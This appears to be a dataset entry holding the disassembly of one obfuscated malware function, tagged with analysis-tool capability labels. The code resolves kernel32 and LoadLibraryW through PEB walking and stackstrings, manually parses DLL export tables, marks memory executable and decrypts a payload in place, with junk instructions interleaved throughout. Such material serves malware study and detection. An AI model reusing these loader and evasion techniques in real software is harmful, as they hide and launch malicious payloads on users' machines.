Function at 0x46e5a0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
jmp 0x46e2cd
jmp 0x46e2d2
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x46e2eb
mov dword [ebp - 0x2a8], 0
jmp 0x46e592
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
jmp 0x46e304
call 0x46e313
add byte [ebp + 0x4f], al
xor eax, 0x3c334133
cmp cl, byte [edx - 0x7d]
les eax, [ebx + ebp*8]
add al, 0x33
dec esp
xor eax, dword [ebx + 0x58]
push eax
push ecx
add esp, 4
xor eax, 0x986d
and eax, 0xb988
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x46e347
mov dword [ebp - 0x2a8], 0
jmp 0x46e592
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push eax
add esp, 4
call 0x46e367
add byte [esi], bh
aaa
dec esp
xor eax, 0x5045483f
xor eax, dword [ebx + 0x6eb04c4]
xor eax, 0x3e4c3c4a
xor ecx, 0xa4bd
pop ecx
push edx
push ecx
add esp, 4
and edx, 0x14b3d
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push edi
add esp, 4
call 0x46e3c0
add byte [esi], bh
dec eax
dec ecx
dec ebp
cmp eax, dword [ebp - 0x7d]
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [esi], dh
inc edi
cmp edi, dword [ebx]
aaa
dec ecx
inc eax
dec edx
add esp, 4
pop eax
push edx
jmp 0x46e3e0
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
call 0x46e449
add byte [eax + 0x47], dl
inc edi
xor esi, dword [edx]
dec eax
inc esp
aaa
aaa
add esp, 4
xor edx, 0x8063
and edx, 0xaa1e
call 0x46e466
add byte [0x4d3c374b], bh
cmp byte [eax + 0x4e], al
add esp, 4
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x46e487
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x46e4e1
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x46e3af
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x46e3af
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x46e4cb
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x46e4d5
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x46e52a
push ecx
call 0x46e4fa
add byte [edx + 0x4e], cl
inc edx
inc ecx
dec esi
inc esp
cmp dh, byte [0x4c4833b]
or ecx, 0x150b1
pop ecx
push eax
push eax
add esp, 4
xor eax, 0x125f5
add eax, 0x85f
or eax, 0x1305f
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x46e592
push esi
sub esi, 0x3ef2
xor esi, 0xa66d
and esi, 0x14e50
add esi, 0x1336
pop esi
push ebx
call 0x46e552
add byte [eax + 0x4b], dl
dec esp
dec ebx
cmp byte [edx + 0x3f], cl
add esp, 4
add ebx, 0x537c
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x46e588
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x46e353
mov dword [ebp - 0x2a8], 0
push edx
call 0x46e5a0
add byte [edx], dh
dec esp
xor ecx, dword [esi + 0x46]
inc ebx
push eax
add esp, 4
add edx, 0x15a3f
pop edx
push ebx
xor ebx, 0xa1fa
sub ebx, 0xddf
sub ebx, 0xe096
and ebx, 0xf3f2
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x46eec9
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
push esi
add esp, 4
xor eax, 0x1322e
pop eax
push edx
push edx
add esp, 4
jmp 0x46e680
jmp 0x46e689
or edx, 0x4e93
pop edx
push eax
push eax
add esp, 4
and eax, 0xb03d
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push ebx
add esp, 4
xor eax, 0x174c9
call 0x46e736
add byte [ecx + 0x4c], cl
xor edi, dword [edx]
dec esp
add esp, 4
pop eax
push eax
push esi
add esp, 4
add eax, 0x15c35
jmp 0x46e74a
or eax, 0xd56
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x46e769
mov dword [ebp - 0x710], 0
jmp 0x46ea10
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
sub ecx, 0x4e0c
or ecx, 0x52f5
or ecx, 0x3998
or ecx, 0x11fec
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x12167
xor edx, 0x1e08
xor edx, 0x1238d
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x46e7c5
mov dword [ebp - 0x710], 0
jmp 0x46ea10
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ecx
add esp, 4
and esi, 0x6efc
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0x6fb8
or ebx, 0x1366
and ebx, 0x1086
pop ebx
push ebx
or ebx, 0x63a1
xor ebx, 0xf565
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push eax
add esp, 4
jmp 0x46e839
pop edx
push edi
push eax
add esp, 4
sub edi, 0x11417
and edi, 0x3988
add edi, 0x209
jmp 0x46e856
pop edi
push eax
or eax, 0x1207d
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
jmp 0x46e8c0
jmp 0x46e8c8
jmp 0x46e8cd
and edx, 0xb0c6
pop edx
push ebx
push esi
add esp, 4
jmp 0x46e8e1
or ebx, 0x15db9
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x46e905
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x46e95f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x46e82d
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x46e82d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x46e949
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x46e953
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x46e9a8
push eax
push esi
add esp, 4
and eax, 0x76c1
call 0x46e982
add byte [ebx + 0x4b], cl
cmp eax, 0x4d394849
push eax
dec ecx
add esp, 4
sub eax, 0x38af
or eax, 0xdca0
pop eax
push eax
add eax, 0xf6a9
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x46ea10
push esi
push esi
add esp, 4
jmp 0x46e9b3
and esi, 0xb317
or esi, 0xbc85
pop esi
push ecx
or ecx, 0x915f
jmp 0x46e9cd
xor ecx, 0x6037
add ecx, 0xc72f
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x46ea06
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x46e7d1
mov dword [ebp - 0x710], 0
push edx
push eax
add esp, 4
call 0x46ea24
add byte [0x453d4a43], dh
cmp eax, 0x83394f44
les eax, [edx + ebx*2]
push eax
and eax, 0xa868
call 0x46ea3e
add byte [esi], dh
dec ebp
cmp eax, 0x324c3533
cmp eax, 0x5804c483
cmp dword [ebp - 0x710], 0
jne 0x46ea8c
push ebx
sub ebx, 0x6003
pop ebx
push eax
push ebx
add esp, 4
call 0x46ea65
add byte [edx + 0x38], al
inc ebx
aas
add esp, 4
call 0x46ea74
add byte [esi + 0x46], cl
push eax
inc edi
dec edi
cmp eax, 0xeb04c483
add eax, dword [edi + eax*2 + 0x4d]
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x46f5b4
push ebx
push edi
add esp, 4
xor ebx, 0xe837
xor ebx, 0x72df
call 0x46eaac
add byte [ecx + 0x32], cl
aas
inc ebx
aas
dec ecx
inc esp
dec ecx
cmp byte [ebx + 0x515b04c4], al
sub ecx, 0x1481e
sub ecx, 0x5b26
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x46eafd
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x46edee
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x46eb25
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x46edee
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x46eb57
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x46edee
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x46eb7c
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x46edee
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x46ebd6
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x46ede2
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x46ec46
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x46ecf8
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x46ecf8
push ebx
jmp 0x46ec7a
pop ebx
push ebx
call 0x46ec89
add byte [esi], dh
xor dh, byte [esi]
dec ebx
dec esp
aas
inc edx
add esp, 4
sub ebx, 0x9bae
and ebx, 0xbc57
pop ebx
push edi
push edx
add esp, 4
or edi, 0xe3d4
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x46ecea
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x46ecf1
jmp 0x46ec37
jmp 0x46ecf8
push eax
push edx
add esp, 4
or eax, 0x4fd0
or eax, 0x15374
add eax, 0x5656
pop eax
push edi
or edi, 0x79bc
call 0x46ed26
add byte [0x333f4e4f], dh
xor al, 0x32
dec ecx
cmp al, 0x83
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x46ed57
mov dword [ebp - 0xc5c], 0
jmp 0x46edc6
push edi
push ecx
add esp, 4
or edi, 0x14093
xor edi, 0xd920
add edi, 0x1d10
call 0x46ed7d
add byte [edi + 0x43], al
dec ebp
inc esp
xor edi, dword [ebx]
dec ecx
xor al, byte [ecx - 0x7d]
les eax, [edi + ebx*2]
push esi
or esi, 0x3ec6
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x46edbc
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x46edc6
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x46eddd
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x46edee
jmp 0x46ebc7
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x46eec9
push edi
call 0x46ee0b
add byte [edx + 0x36], cl
inc edi
dec esp
dec ebx
aas
dec eax
inc edi
inc esp
add esp, 4
jmp 0x46ee16
jmp 0x46ee1e
sub edi, 0x1100d
pop edi
push edi
or edi, 0xb68f
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
and ecx, 0x174f5
sub ecx, 0x17eb0
pop ecx
push esi
push edx
add esp, 4
sub esi, 0x9d2d
add esi, 0x6e71
jmp 0x46ee61
jmp 0x46ee6a
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x46eec9
push edi
push esi
add esp, 4
jmp 0x46ee95
or edi, 0x26aa
sub edi, 0xa176
add edi, 0xc04a
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x6e26
and ecx, 0x30d7
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x46f5b4
push eax
xor eax, 0x17a40
xor eax, 0x17aac
sub eax, 0x6402
pop eax
push esi
push esi
add esp, 4
and esi, 0x5a77
or esi, 0x5657
add esi, 0x153ac
or esi, 0xc5d8
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
or edx, 0x12b0a
add edx, 0x74a7
and edx, 0xe0c9
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x10023
or ebx, 0x646d
sub ebx, 0xa51a
and ebx, 0x43c8
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x46ef6d
mov dword [ebp - 0x2a8], 0
jmp 0x46f214
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
push edx
add esp, 4
or eax, 0x1ca1
jmp 0x46ef92
call 0x46ef9f
add byte [edx + esi + 0x3e], cl
dec esp
aaa
inc esi
dec edx
add esp, 4
pop eax
push edx
add edx, 0x2210
sub edx, 0x13ec2
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x46efc9
mov dword [ebp - 0x2a8], 0
jmp 0x46f214
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
and edx, 0x1cf1
pop edx
push ecx
push esi
add esp, 4
or ecx, 0xd1b8
pop ecx
push esi
push edx
add esp, 4
add esi, 0x8f9d
add esi, 0x17ec4
add esi, 0x6bc0
jmp 0x46f006
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
call 0x46f03f
add byte [ebx + 0x36], cl
dec edi
dec ebx
aaa
aaa
cmp al, byte [ebx - 0x97efb3c]
cmp dword [ecx], ebp
add byte [esi + 0x56], bl
or esi, 0x178e2
xor esi, 0x6e00
add esi, 0x18143
or esi, 0x3096
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ecx
push edi
add esp, 4
call 0x46f0cf
add byte [ecx], bh
push eax
cmp cl, byte [ebp + 0x4d]
inc edx
inc esi
xor eax, 0xc4834444
add al, 0x59
push esi
push ecx
add esp, 4
add esi, 0xc23f
jmp 0x46f0e5
or esi, 0xede8
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x46f109
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x46f163
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x46f031
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x46f031
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x46f14d
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x46f157
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x46f1ac
push esi
add esi, 0x12b5d
sub esi, 0xdf2f
xor esi, 0x1eaf
jmp 0x46f185
pop esi
push edi
push ebx
add esp, 4
add edi, 0x45ba
sub edi, 0x1461b
and edi, 0xb882
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x46f214
push ebx
or ebx, 0x54ee
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0x8b9e
add eax, 0xa745
add eax, 0xc78d
xor eax, 0x17c57
pop eax
push edi
push edx
add esp, 4
add edi, 0x178a1
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x46f20a
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x46efd5
mov dword [ebp - 0x2a8], 0
push esi
and esi, 0x13ca8
pop esi
push ecx
call 0x46f22a
add byte [edi], dh
cmp edi, dword [ecx]
cmp dword [esi], edi
inc esp
inc edx
add esp, 4
sub ecx, 0x143bb
add ecx, 0x3c2d
pop ecx
push ecx
push ecx
add esp, 4
xor ecx, 0xc5de
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ecx
jmp 0x46f25b
pop ecx
push ecx
jmp 0x46f266
or ecx, 0x12094
or ecx, 0x931c
xor ecx, 0xaf5a
pop ecx
push edx
add edx, 0x4c0a
add edx, 0x5b1a
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x46f2b7
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x46f5a8
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x46f2df
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x46f5a8
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x46f311
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x46f5a8
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x46f336
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x46f5a8
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x46f390
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x46f59c
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x46f400
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x46f4b2
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x46f4b2
push ecx
push edi
add esp, 4
sub ecx, 0x15961
add ecx, 0x56
pop ecx
push eax
and eax, 0x8488
and eax, 0x1608a
pop eax
push ecx
jmp 0x46f457
jmp 0x46f45e
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x46f4a4
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x46f4ab
jmp 0x46f3f1
jmp 0x46f4b2
push ebx
push edx
add esp, 4
sub ebx, 0xe78a
and ebx, 0x25c1
xor ebx, 0x734d
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0xfd9
jmp 0x46f4dd
or ecx, 0x57b8
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x46f511
mov dword [ebp - 0xc6c], 0
jmp 0x46f580
push edx
xor edx, 0x100db
xor edx, 0x1688e
xor edx, 0x3c09
xor edx, 0x8be0
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x340f
and ebx, 0x9a00
xor ebx, 0x3068
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x46f576
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x46f580
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x46f597
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x46f5a8
jmp 0x46f381
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
jmp 0x46f5bd
xor edx, 0x476e
and edx, 0x1653a
pop edx
push ecx
or ecx, 0x46c
xor ecx, 0xeef6
add ecx, 0x128ae
pop ecx
push eax
and eax, 0xdcc9
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x46f659
push esi
call 0x46f623
add byte [esi + 0x3b], cl
dec ebx
cmp byte [ebp + 0x48], al
dec ebp
dec ecx
inc edx
add esp, 4
call 0x46f635
add byte [edi], dh
cmp eax, 0x473e3238
cmp al, 0x4e
add esp, 4
add esi, 0xf964
xor esi, 0x147fe
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x46f676
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x46f6d2
push ecx
push eax
add esp, 4
xor ecx, 0xa460
pop ecx
push eax
or eax, 0x172c8
or eax, 0x1833e
jmp 0x46f6a3
pop eax
push edi
push eax
add esp, 4
and edi, 0x141e5
xor edi, 0x12817
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x46f667
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
